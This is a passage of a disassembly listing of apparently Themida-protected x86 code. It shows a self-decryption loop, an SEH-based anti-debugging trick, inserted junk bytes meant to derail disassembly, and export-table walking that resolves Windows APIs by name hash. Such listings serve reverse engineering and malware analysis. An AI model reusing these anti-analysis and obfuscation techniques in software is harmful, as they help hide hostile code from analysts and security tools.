77F5h, 3 dup(0) dd 6B9C0000h, 24Bh, 0FF540000h, 8FFFFh, 243h, 9 dup(0) dd 0FFB00000h, 1A2h, 2 dup(0) dd 2B080000h, 0FAA00000h, 1B24Bh, 82340000h, 24B8h, 92800000h dd 0F1Ah, 6 dup(0) dd 3040000h, 7FFEh, 5 dup(0) dd 705D0000h, 87240000h, 4A30h, 2 dup(0) dd 10000h, 5 dup(0) dd 3E680000h, 95B777E8h, 230057h, 58h, 13h dup(0) dd 3040000h, 3E7FFEh, 77FFh, 2 dup(0) dd 6B9C0000h, 0BC024Bh, 0Bh dup(0) dd 0A2180000h, 0E613FFFFh, 5Bh, 0 dd 0BDB00000h, 0A837FFA6h, 77E7h, 8C0A0000h, 87400A2h dd 5 dup(0) dd 81A80000h, 3E3B005Bh, 0A2h, 0Ah dup(0) dd 3E680000h, 0C80002h, 0B6D60000h, 58h, 3 dup(0) dd 1100000h, 2 dup(0) dd 0CA000000h, 3, 3 dup(0) dd 30DF0000h, 0A9C5h, 43400000h, 5Ah, 0Ch dup(0) dd 2BD70000h, 7561h, 0BAF40000h, 304FFFFh, 73167FFEh, 0FA4C00A4h dd 2078h, 0Bh dup(0) dd 0FF740000h, 0BCACFFFFh, 5Bh, 0BA470000h, 80A3FFA8h dd 0CDA6h, 3E430000h, 57h, 2 dup(0) dd 10000h, 0 dd 22920000h, 0A2h, 8 dup(0) dd 326E0000h, 0FFABh, 0 dd 0C96A0000h, 77D4h, 8 dup(0) dd 0FFF00000h, 12h, 3 dup(0) dd 359B0000h, 5Ah, 0 dd 10000h, 5 dup(0) dd 8D8D0000h, 45FEh, 0Fh dup(0) dd 0BEE80000h, 3A4377DBh, 755F6D5Ch, 6361706Eh, 72656Bh dd 7Fh dup(0) dd 5Ch, 2 dup(0) dd 0C8E60000h, 57h, 8 dup(0) dd 5DD0000h, 2A1E3307h, 0FF94h, 6 dup(0) dd 0A2520000h, 54h, 2 dup(0) dd 0AE0A0000h, 2A0054h, 3 dup(0) dd 9B090000h, 0F9ECh, 7 dup(0) dd 0FFA40000h, 12h, 3 dup(0) dd 91110000h, 0FFFF5D38h, 0FFFFh, 0Ch dup(0) dd 9D390000h, 1C5Dh, 3 dup(0) dd 0DF140000h, 6F7Ah, 3 dup(0) dd 1C180000h, 0E00077F4h, 1Dh, 3 dup(0) dd 0EB000000h, 0 dd 744B0000h, 58h, 5 dup(0) dd 0C96A0000h, 77D4h, 0 dd 417E0000h, 77E8h, 0 dd 0FA560000h, 8E400A2h, 4 dup(0) dd 1BF50000h, 6B56h, 7 dup(0) dd 0CB8A0000h, 54h, 6 dup(0) dd 263C0000h, 0E332h, 69DD0000h, 0A2h, 0 dd 77F5h, 705D0000h, 417E0000h, 685477E8h, 64696D65h, 61h dd 1Ch dup(0) dd 0FFFF0000h, 0FFFFh, 3 dup(0) dd 0C1B40000h, 3FFFh, 359B0000h, 5Ah, 5 dup(0) dd 0FEC0000h, 0A37Fh, 0 dd 854C0000h, 58h, 0 dd 51970000h, 0B760h, 3 dup(0) dd 0F83E0000h, 5 dup(0) dd 8C0A0000h, 0A2h, 0FFFF0000h, 0FFFFh, 0Ch dup(0) dd 0FF540000h, 0FFFF0012h, 1Ah dup(0) dd 840D0000h, 0FF5Ch, 2 dup(0) dd 3AE40000h, 0EB4FFA4h, 7 dup(0) dd 92340000h, 0FD0800A2h, 12h, 73160000h, 0A4h, 2 dup(0) dd 3040000h, 7FFEh, 2Ah dup(0) dd 21210000h, 2121h, 3 dup(0) dd 0B80000h, 0 dd 9ABh, 2 dup(0) dd 40820000h, 4A30h, 5 dup(0) dd 76CD0000h, 77E7h, 0 dd 0F9F20000h, 4EEFh, 0 dd 31450000h, 268C00A2h, 58h, 7BFA0000h, 8C7h, 2 dup(0) dd 41240000h, 79B30059h, 5Ah, 5 dup(0) dd 0CC0000h, 3 dup(0) dd 36360000h, 3636h, 0 dd 0F08D0000h, 5Bh, 6 dup(0) dd 230000h, 54h, 230000h, 4 dup(0) dd 8D530000h, 0A6h, 3040000h, 7FFEh, 0 dd 915B0000h, 0A2h, 0FCFC0000h, 8001h, 980000h, 3 dup(0) dd 6CD80000h, 3 dup(0) dd 0BA970000h, 0B34Ah, 4 dup(0) dd 3040000h, 7FFEh, 0 dd 3040000h, 7FFEh, 3 dup(0) dd 0F4790000h, 0FFB077BCh, 101F2h, 9 dup(0) dd 8AC40000h, 18F9h, 0 dd 8, 0Ch dup(0) dd 0C7850000h, 77E7h, 2 dup(0) dd 81A80000h, 53D005Bh, 0AB43h, 3 dup(0) dd 0D80000h, 4 dup(0) dd 10730000h, 0 dd 33010000h, 0FFA7h, 2 dup(0) dd 0E90000h, 0F6C60004h, 58h, 3 dup(0) dd 99B30000h, 0AF2Fh, 3 dup(0) dd 0A5A10000h, 0BBA1h, 19h dup(0) dd 3C540000h, 58h, 0 dd 94990000h, 0A2h, 3 dup(0) dd 70C40000h, 200A2h, 2 dup(0) dd 2C4C0000h, 3CA5h, 936F0000h, 7E7Ch, 5 dup(0) dd 40000000h, 3, 3 dup(0) dd 0E230000h, 202h, 6 dup(0) dd 4C790000h, 8D8DDFDBh, 0E666h, 0 dd 20000h, 81E50000h, 0CCCA84h, 4BE90000h, 5Dh, 4 dup(0) dd 5B2D0000h, 0FDA2h, 3 dup(0) dd 8D9B0000h, 78EFh, 17h dup(0) dd 0CB810000h, 0FF410057h, 0D4D00057h, 0AE520054h, 54h dd 9 dup(0) dd 54AB0000h, 5Ah, 3040000h, 7FFEh, 0 dd 0A0F80000h, 909Fh, 2 dup(0) dd 2FE80000h, 77E8h, 0DC1B0000h, 22220058h, 22222222h dd 12222h, 5 dup(0) dd 76CD0000h, 77E7h, 0 dd 77F5h, 3040000h, 0B1497FFEh, 8E8Dh, 2 dup(0) dd 0F13A0000h, 4BEFh, 0 dd 0DEBC0000h, 0E92Bh, 3 dup(0) dd 0A00F0000h, 0A2h, 0 dd 5E340000h, 331Bh, 0E1B30000h, 0B820h, 0 dd 600000h, 2, 5 dup(0) dd 0B1B30000h, 7FFFh, 0Dh dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 0B3720000h, 59h, 8 dup(0) dd 0B1340000h, 0A4h, 0 dd 0F07D0000h, 93DA6ADDh, 7E37h, 5 dup(0) dd 59740000h, 0FB4C8655h, 0F191h, 0 dd 2B790000h, 6080054h, 0FFFCh, 3 dup(0) dd 705D0000h, 0A2E80000h, 0FFFFh, 6 dup(0) dd 156777F5h, 0FFA4h, 4 dup(0) dd 1C870000h, 0FFFFh, 7 dup(0) dd 6180000h, 77E8h, 2 dup(0) dd 8F7F0000h, 103DBh, 6 dup(0) dd 0F80000h, 0B1h, 11110000h, 1111h, 0 dd 0ED830000h, 58h, 3 dup(0) dd 5FB90000h, 0E59Bh, 705D0000h, 0 dd 8B820000h, 77E7h, 0AE300000h, 2058Ch, 0AFD50000h, 0B21C18CFh dd 2D0Ah, 4 dup(0) dd 941C0000h, 57h, 0 dd 0A4C60000h, 40820054h, 4A30h, 919E0000h, 0FFFFh, 0EC0000h dd 8D8D0000h, 0E327h, 2 dup(0) dd 2A370000h, 0FFA3h, 0 dd 46D00000h, 14h, 5 dup(0) dd 0A5720000h, 0FFFFh, 0Eh dup(0) dd 83000000h, 2 dup(0) dd 0E6A90000h, 0FFFFh, 4 dup(0) dd 0C660000h, 77FCh, 0 dd 3040000h, 7FFEh, 0F5660000h, 0FFFFh, 2 dup(0) dd 204B0000h, 0B1CADB3Bh, 0B0h, 2 dup(0) dd 6BD70000h, 11E8024Bh, 3 dup(0) dd 0B6FF0000h, 0F9FFh, 0 dd 0A00F0000h, 0A2h, 705D0000h, 5 dup(0) dd 9B090000h, 9749F9ECh, 156877E7h, 1F8700A3h, 0D554515Fh dd 0A1h, 0 dd 0DFE90000h, 0Fh dup(0) dd 268C0000h, 58h, 0DA440040h, 0C246h, 0 dd 6BD30000h, 24Bh, 0 dd 10000h, 2 dup(0) dd 77E6h, 0D7060000h, 77E6h, 0D6EB0000h, 13822h, 5 dup(0) dd 52D10000h, 0D3AAB2FDh, 59h, 4 dup(0) dd 3040000h, 7FFEh, 0D36B0000h, 9F7D0000h, 72E1h, 0 dd 52D10000h, 0B2FDh, 9 dup(0) dd 97C90000h, 0D6EB005Bh, 3822h, 2 dup(0) dd 0B450000h, 63A6h, 0B2120000h, 0A3390054h, 0A5E7005Ch dd 34E000A6h, 1910h, 0 dd 0FCFC0000h, 158001h, 51E90000h, 3FFFh, 2 dup(0) dd 0C4860000h, 77E7h, 6 dup(0) dd 25Dh, 0FCFC0000h, 8001h, 6 dup(0) dd 20000h, 96880000h, 0FFFFh, 5 dup(0) dd 21790000h, 0FFBFh, 2 dup(0) dd 0FFED0000h, 0FDFDh, 2 dup(0) dd 310E0000h, 79D0h, 0 dd 761A0000h, 77D5h, 17970000h, 8143h, 0 dd 0B7630000h, 0A85F797Fh, 5Ch, 0 dd 4100000h, 3040000h, 7FFEh, 3 dup(0) dd 10000h, 0FDFF0000h, 0AD0Bh, 2 dup(0) dd 0A00F0000h, 0A2h, 0C96A0000h, 77D4h, 96230000h, 0FF5Dh dd 0D8E20000h, 3C28h, 7EEE0000h, 0FFA7h, 3 dup(0) dd 3040000h, 2A6C7FFEh, 9F19005Ah, 19FFFFh, 7 dup(0) dd 10000h, 5 dup(0) dd 0D4D00000h, 20054h, 0Bh dup(0) dd 8C0A0000h, 0A2h, 0 dd 0FFC40000h, 12h, 8 dup(0) dd 8B820000h, 77E7h, 3 dup(0) dd 6CB00000h, 0D6A2h, 10h dup(0) dd 6CD10000h, 0FFFFh, 10000h, 450C0000h, 0 dd 0EBA60000h, 59h, 0D40000h, 9 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CF3E: ; CODE XREF: Themida_:loc_549A0Dj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 6A8353Bh mov [ebp+6A83469h], edx mov [ebp+6A832BDh], esi mov [ebp+6A8225Dh], eax cmp dword ptr [ebp+6A81599h], 0 jz short loc_54CF76 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_54CF76: ; CODE XREF: Themida_:0054CF68j mov eax, [esp+24h] mov [ebp+6A81F25h], eax push 45h call sub_54D02A push 783749Ah call sub_54D070 push 0A894B25h call sub_54D070 jmp loc_54D1B4 ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54D02A proc near ; CODE XREF: Themida_:0054CF82p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 6A83629h mov ebx, edx mov [ebp+var_28], 0 loc_54D046: ; CODE XREF: sub_54D02A+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_54D065 mov eax, [ebp+arg_0] mov [ebx+6A83593h], eax inc [ebp+arg_0] inc ebx jmp short loc_54D046 ; --------------------------------------------------------------------------- loc_54D065: ; CODE XREF: sub_54D02A+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_54D02A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54D070 proc near ; CODE XREF: Themida_:0054CF8Cp ; Themida_:0054CF96p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 6A83672h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_54D096: ; CODE XREF: sub_54D070+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_54D096 mov [ebp+var_84], 0 lea edi, [edx+6A83593h] lea esi, [ebp+var_80] loc_54D0C6: ; CODE XREF: sub_54D070+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_54D0D2: ; CODE XREF: sub_54D070+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_54D0D2 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_54D0C6 popa leave retn 4 sub_54D070 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_54D110 ; --------------------------------------------------------------------------- loc_54D10C: ; CODE XREF: Themida_:0054D113j inc dword ptr [ebp-4] inc esi loc_54D110: ; CODE XREF: Themida_:0054D10Aj cmp byte ptr [esi], 0 jnz short loc_54D10C mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_54D1A1 ; --------------------------------------------------------------------------- loc_54D122: ; CODE XREF: Themida_:0054D1A4j mov dword ptr [ebp-8], 0 jmp short loc_54D198 ; --------------------------------------------------------------------------- loc_54D12B: ; CODE XREF: Themida_:0054D19Cj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_54D185 ; --------------------------------------------------------------------------- loc_54D13B: ; CODE XREF: Themida_:0054D189j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_54D15D cmp bl, 39h ja short loc_54D15D sub bl, 30h jmp short loc_54D17F ; --------------------------------------------------------------------------- loc_54D15D: ; CODE XREF: Themida_:0054D151j ; Themida_:0054D156j cmp bl, 61h jb short loc_54D16F cmp bl, 66h ja short loc_54D16F sub bl, 61h add bl, 0Ah jmp short loc_54D17F ; --------------------------------------------------------------------------- loc_54D16F: ; CODE XREF: Themida_:0054D160j ; Themida_:0054D165j cmp bl, 41h jb short loc_54D17F cmp bl, 46h ja short loc_54D17F sub bl, 41h add bl, 0Ah loc_54D17F: ; CODE XREF: Themida_:0054D15Bj ; Themida_:0054D16Dj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_54D185: ; CODE XREF: Themida_:0054D139j cmp dword ptr [ebp-0Ch], 2 jb short loc_54D13B cmp dword ptr [ebp-10h], 0 jbe short loc_54D195 mov eax, [ebp-10h] stosb loc_54D195: ; CODE XREF: Themida_:0054D18Fj inc dword ptr [ebp-8] loc_54D198: ; CODE XREF: Themida_:0054D129j cmp dword ptr [ebp-8], 2 jb short loc_54D12B add edx, 4 loc_54D1A1: ; CODE XREF: Themida_:0054D120j cmp edx, [ebp-4] jb loc_54D122 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- loc_54D1B4: ; CODE XREF: Themida_:0054CF9Bj mov ecx, 7000h lea edi, [ebp+6A837B8h] loc_54D1BF: ; CODE XREF: Themida_:0054D1C3j dec byte ptr [edi] inc edi dec ecx jnz short loc_54D1BF mov eax, 48692121h mov edx, 0F00E1000h sub edx, 0F0000000h lea eax, [ebp+6A838BDh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax call near ptr loc_54D200+3 scasb neg byte ptr [ecx-6307A595h] xchg dh, [edx-54h] push ds loc_54D200: ; CODE XREF: Themida_:0054D1F0p mov ebx, 0D2BB2320h mov fs, word ptr [eax] xor [ebx+6Ah], ebx add [ebp-18h], dl add eax, [eax] ; --------------------------------------------------------------------------- db 0 dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 5CDA2EC2h, 0B6EF30C1h, 0C22BA281h, 25D9B70Fh, 0FFFFF000h dd 0CA0AE4BBh, 33CA8B0Dh, 388166FFh, 0E755A4Dh, 3C50B70Fh dd 3A81D003h, 4550h, 2D0874h, 47000010h, 8F64E3EBh, 5 dd 4C48300h, 38D0958Dh, 645206A8h, 35FFh, 89640000h, 25h dd 2DC10300h, 1000h, 8104708Bh, 0FF0000E6h, 0FE81FFh, 76800000h dd 1C708B03h, 0F883C033h, 661F7432h, 5A4D3E81h, 0EE810974h dd 10000h, 8BEBEB40h, 0FE033C7Eh, 45503F81h, 44740000h dd 8F64E8EBh, 5, 4C48300h, 8B51C361h, 8110244Ch, 0B0A9h dd 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6A838DBh lea eax, [ebp+6A83899h] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- xchg eax, esi pop large dword ptr fs:0 add esp, 4 pusha adc si, 4B43h movzx edi, di popa push eax movsx ebx, bx pop ebx mov cx, ds mov bx, 5806h and cl, 4 push esi sub bx, 46CAh pop ebx or cl, cl jnz loc_54D34C mov dword ptr [ebp+6A8339Dh], 1 add bx, 7893h jmp loc_54D37E ; --------------------------------------------------------------------------- mov ebx, 22350228h loc_54D34C: ; CODE XREF: Themida_:0054D32Dj mov dword ptr [ebp+6A8339Dh], 0 push 0 push edi call sub_54D361 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D361 proc near ; CODE XREF: Themida_:0054D359p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_54D361 endp ; --------------------------------------------------------------------------- db 9Bh, 0E6h, 0AAh ; --------------------------------------------------------------------------- xlat cmp ebx, [edx-58h] and ebx, 43ED149Bh loc_54D37E: ; CODE XREF: Themida_:0054D342j mov [ebp+6A831F9h], eax jmp loc_54D39A ; --------------------------------------------------------------------------- db 72h, 4Ah, 10h dd 75476C62h, 54725ECCh, 0F7B1A3ECh db 0BCh, 6Bh ; --------------------------------------------------------------------------- loc_54D39A: ; CODE XREF: Themida_:0054D384j mov [ebp+6A80F95h], eax call sub_54D3B5 js short loc_54D3AC or al, 15h scasb sbb dl, [esi] loc_54D3AC: ; CODE XREF: Themida_:0054D3A5j test [ebp+7C1819A7h], bh sal byte ptr [ebp+69h], cl ; =============== S U B R O U T I N E ======================================= sub_54D3B5 proc near ; CODE XREF: Themida_:0054D3A0p push ebx xor dx, 42C6h pop esi pop ebx jnp $+6 add ebx, 6A6Fh sub edi, edi cmc loc_54D3CC: ; CODE XREF: sub_54D401:loc_54D490j mov eax, [ebx+edi] sbb si, 0B3CCh add eax, 672A1BFh sbb esi, 32CACDB2h xor eax, 456EFF9h cld sub eax, 7E52DB5Fh call sub_54D401 imul esi, [eax+eax*4-47h], 84370F11h or al, 0CAh mov eax, 0E30BF395h sub_54D3B5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_54D401 proc near ; CODE XREF: sub_54D3B5+38p var_20 = dword ptr -20h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch adc edx, 0B36CEEAh pop ecx push eax jl loc_54D428 jmp loc_54D428 ; --------------------------------------------------------------------------- dd 94F20907h, 0C17DBC7h, 6D7BF80Fh, 0DC237745h, 988A8D6Ah ; --------------------------------------------------------------------------- loc_54D428: ; CODE XREF: sub_54D401+8j ; sub_54D401+Ej pop dword ptr [ebx+edi] push ebx push eax jnp $+6 pop edx pop ecx pusha jmp loc_54D44D ; --------------------------------------------------------------------------- db 0F8h dd 961FA69h, 0DED75744h, 0D37257B9h, 63E172CDh db 0BFh ; --------------------------------------------------------------------------- loc_54D44D: ; CODE XREF: sub_54D401+35j mov eax, 7D834EEDh popa sub edi, 4 mov edx, 30781BB1h cmp edi, 0FFFF9688h jnz loc_54D488 jnb loc_54D472 mov ecx, 34D3AD0Ch loc_54D472: ; CODE XREF: sub_54D401+66j jmp loc_54D4A0 ; --------------------------------------------------------------------------- xchg eax, ebx das dec ebp db 65h, 64h aaa inc ebx imul eax, [ebx-42B459EDh], 340C6E14h loc_54D488: ; CODE XREF: sub_54D401+60j jge loc_54D490 mov ch, 3Bh loc_54D490: ; CODE XREF: sub_54D401:loc_54D488j jmp loc_54D3CC ; --------------------------------------------------------------------------- db 1Ah, 8Eh, 45h dd 0C5B652Ah, 77914F93h ; --------------------------------------------------------------------------- loc_54D4A0: ; CODE XREF: sub_54D401:loc_54D472j jmp short loc_54D4A6 ; --------------------------------------------------------------------------- dw 215h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D4A6: ; CODE XREF: sub_54D401:loc_54D4A0j jmp loc_54DBA3 ; --------------------------------------------------------------------------- jnp loc_54D4D0 ja loc_54D4D0 jmp loc_54D4D0 ; --------------------------------------------------------------------------- ror dword ptr [eax-67h], 1 lds ebp, [ebp-3CD4A888h] xor ah, [eax+6FD42942h] fstp qword ptr [edx+edx*2+27h] aaa loc_54D4D0: ; CODE XREF: sub_54D401+AAj ; sub_54D401+B0j ... pusha stc sub eax, eax sub [ebp+6A83225h], edi mov edx, [esp+1Ch+arg_8] sub [ebp+6A826B1h], esi mov [ebp+6A80E7Dh], eax pusha mov ecx, [ebp+6A81B81h] popa stc mov esi, 3Ch sub [ebp+6A814BDh], edi add esi, [esp+1Ch+arg_4] pusha cld mov [ebp+6A831D9h], edx popa lodsw or [ebp+6A81691h], edx add eax, [esp+1Ch+arg_4] xor [ebp+6A81115h], ecx push eax jmp loc_54D529 ; --------------------------------------------------------------------------- db 0F9h dd 246ABDD9h ; --------------------------------------------------------------------------- stosb loc_54D529: ; CODE XREF: sub_54D401+11Dj mov [esp+20h+var_20], eax jmp loc_54D539 ; --------------------------------------------------------------------------- db 58h, 71h, 0B5h dd 5DC6B93Fh ; --------------------------------------------------------------------------- pushf loc_54D539: ; CODE XREF: sub_54D401+12Bj pusha and cx, 0EE8h add ecx, [ebp+6A815B1h] popa mov eax, [eax+78h] js loc_54D55B jge loc_54D55B jle $+6 loc_54D55B: ; CODE XREF: sub_54D401+148j ; sub_54D401+14Ej add eax, [esp+24h+arg_0] jp loc_54D570 pusha sub [ebp+6A82785h], edi or al, 23h popa loc_54D570: ; CODE XREF: sub_54D401+15Ej mov eax, [eax+18h] pusha call near ptr loc_54D586+2 cdq push edi push edx xor bh, 45h mov [edx-3A356C47h], edx nop loc_54D586: ; CODE XREF: sub_54D401+173p mov byte ptr [esi], 8Bh rcr byte ptr [eax+29h], 1 mov ebp, 6A83259h popa sub [ebp+6A80CA9h], ecx inc eax xor [ebp+6A8168Dh], edi jno loc_54D5AD pusha mov ecx, [ebp+6A82189h] popa loc_54D5AD: ; CODE XREF: sub_54D401+19Ej mov [ebp+6A83A95h], eax or [ebp+6A8205Dh], esi pop eax pusha sub cx, 9D5h mov edi, [ebp+6A81125h] popa mov esi, [eax+78h] jge loc_54D5D6 mov [ebp+6A80CF9h], ecx loc_54D5D6: ; CODE XREF: sub_54D401+1C9j add esi, 1Ch pusha push ebx mov [ebp+6A80F65h], ecx pop eax popa add esi, [esp+24h] cld add [ebp+6A8163Dh], eax lea edi, [ebp+6A8317Dh] mov [ebp+6A81E11h], ebx lodsd jg loc_54D602 stc loc_54D602: ; CODE XREF: sub_54D401+1FAj add eax, [esp+24h] clc stosd ja loc_54D623 jmp loc_54D623 ; --------------------------------------------------------------------------- db 0C8h dd 1F105DF2h, 81D7F066h, 4C0ACEF1h ; --------------------------------------------------------------------------- cmp edi, [ecx-4Eh] loc_54D623: ; CODE XREF: sub_54D401+207j ; sub_54D401+20Dj lea edi, [ebp+6A81445h] pusha mov cx, di jno loc_54D639 mov [ebp+6A81125h], edi loc_54D639: ; CODE XREF: sub_54D401+22Cj popa jmp loc_54D648 ; --------------------------------------------------------------------------- db 9Ah ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- shr dword ptr [ecx+ebp+2A32FDEEh], cl loc_54D648: ; CODE XREF: sub_54D401+239j lodsd mov [ebp+6A80B5Dh], ecx add eax, [esp+24h] jle loc_54D65F sub [ebp+6A815BDh], esi loc_54D65F: ; CODE XREF: sub_54D401+252j pusha jl loc_54D66C mov eax, [ebp+6A82975h] loc_54D66C: ; CODE XREF: sub_54D401+25Fj or edi, [ebp+6A82B3Dh] popa nop jmp loc_54D683 ; --------------------------------------------------------------------------- test al, 0F0h pop ecx les edx, [ecx-0Bh] pop es pop ds xlat push esi loc_54D683: ; CODE XREF: sub_54D401+273j push eax pusha pusha mov dh, bl call loc_54D695 pop ss add al, 0B2h mov ecx, 7773EFF3h loc_54D695: ; CODE XREF: sub_54D401+287p pop edi popa call loc_54D6AE lea eax, [ebx+7Fh] pop esp hlt ; --------------------------------------------------------------------------- db 64h, 0E4h, 6 dd 0CDD2C4C4h, 0A0E7CF1Bh db 0E1h, 0C1h ; --------------------------------------------------------------------------- loc_54D6AE: ; CODE XREF: sub_54D401+296p mov bx, ax pop edi popa nop sub [ebp+6A82E2Dh], esi stosd sub [ebp+6A81F8Dh], ecx jmp loc_54D6D0 ; --------------------------------------------------------------------------- dw 0CD91h dd 0B3F9EB58h, 9C9D1E36h ; --------------------------------------------------------------------------- loc_54D6D0: ; CODE XREF: sub_54D401+2C0j lea edi, [ebp+6A813F9h] or [ebp+6A8274Dh], ebx lodsd jmp loc_54D6EA ; --------------------------------------------------------------------------- dw 87E3h dd 48A94F9Bh ; --------------------------------------------------------------------------- inc ecx pop ebx loc_54D6EA: ; CODE XREF: sub_54D401+2DCj add eax, [esp+28h] js loc_54D70D jmp loc_54D70D ; --------------------------------------------------------------------------- db 73h, 87h, 6Bh dd 5D48F578h, 75B0A53Eh, 2CD634Fh, 2C4657EDh ; --------------------------------------------------------------------------- inc ebx loc_54D70D: ; CODE XREF: sub_54D401+2EDj ; sub_54D401+2F3j stosd mov [ebp+6A82551h], edi pop esi clc loc_54D716: ; CODE XREF: sub_54D401+3A1j dec dword ptr [ebp+6A83A95h] cmp dword ptr [ebp+6A83A95h], 0 jnz short loc_54D735 mov [esp+10h+arg_8], 0 lea esi, [ebp+6A83F6Ch] jmp esi ; --------------------------------------------------------------------------- loc_54D735: ; CODE XREF: sub_54D401+322j push esi lodsd add eax, [esp+28h] xchg eax, edi mov ebx, edi mov al, [ebp+6A815D5h] test al, al jz short loc_54D74C cmp al, [edi] jnz short loc_54D798 loc_54D74C: ; CODE XREF: sub_54D401+345j push edi xor al, al loc_54D74F: ; CODE XREF: sub_54D401+34Fj scasb jnz short loc_54D74F pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_54D75C: ; CODE XREF: sub_54D401+384j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_54D76B: ; CODE XREF: sub_54D401+37Dj shr bx, 1 rcr ax, 1 jnb short loc_54D77C xor ax, 5041h xor bx, 5449h loc_54D77C: ; CODE XREF: sub_54D401+370j dec dh jnz short loc_54D76B xor ecx, eax xor edx, ebx dec edi jnz short loc_54D75C not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_54D7A7 loc_54D798: ; CODE XREF: sub_54D401+349j pop esi add esi, 4 inc dword ptr [ebp+6A80E7Dh] jmp loc_54D716 ; --------------------------------------------------------------------------- loc_54D7A7: ; CODE XREF: sub_54D401+395j pop esi jz loc_54D7B4 mov [ebp+6A81EF5h], ecx loc_54D7B4: ; CODE XREF: sub_54D401+3A7j mov [ebp+6A819CDh], edx jmp loc_54D7D0 ; --------------------------------------------------------------------------- db 3Eh dd 191E1A26h, 3041EF11h, 0D7FE796Fh, 0B343212Fh ; --------------------------------------------------------------------------- loc_54D7D0: ; CODE XREF: sub_54D401+3B9j mov eax, [ebp+6A80E7Dh] jmp loc_54D7E2 ; --------------------------------------------------------------------------- db 31h dd 0D9AF48D7h db 0DBh, 31h ; --------------------------------------------------------------------------- loc_54D7E2: ; CODE XREF: sub_54D401+3D5j shl eax, 1 cmc add eax, [ebp+6A813F9h] mov [ebp+6A82649h], eax mov esi, 0 stc xchg eax, esi jle loc_54D805 jnb loc_54D805 clc loc_54D805: ; CODE XREF: sub_54D401+3F7j ; sub_54D401+3FDj mov [ebp+6A826CDh], esi lodsw add [ebp+6A82601h], ecx shl eax, 2 sub [ebp+6A805EDh], esi add eax, [ebp+6A8317Dh] mov [ebp+6A80695h], ecx xchg eax, esi stc lodsd sub [ebp+6A83149h], edx mov ecx, [esp+24h] jmp loc_54D83F ; --------------------------------------------------------------------------- pop es push eax add [edx], dh dec edi loc_54D83F: ; CODE XREF: sub_54D401+434j add eax, [esp+24h] mov [ebp+6A80589h], eax mov [esp+10h+arg_8], eax js loc_54D85F jz loc_54D85F add [ebp+6A81BCDh], esi loc_54D85F: ; CODE XREF: sub_54D401+44Cj ; sub_54D401+452j xchg eax, esi xor [ebp+6A8277Dh], edi lodsb jge loc_54D86E clc loc_54D86E: ; CODE XREF: sub_54D401+466j xor cl, cl or [ebp+6A80ADDh], esi jmp loc_54D88C ; --------------------------------------------------------------------------- db 0B4h dd 0EEF6BDCDh, 0DF88DF4Ch, 12969294h, 36DF1AA1h ; --------------------------------------------------------------------------- loc_54D88C: ; CODE XREF: sub_54D401+475j inc cl jmp loc_54D8A5 ; --------------------------------------------------------------------------- db 86h dd 0FDC04751h, 4D46A6A4h, 0C6AD516h, 6911EB70h ; --------------------------------------------------------------------------- icebp 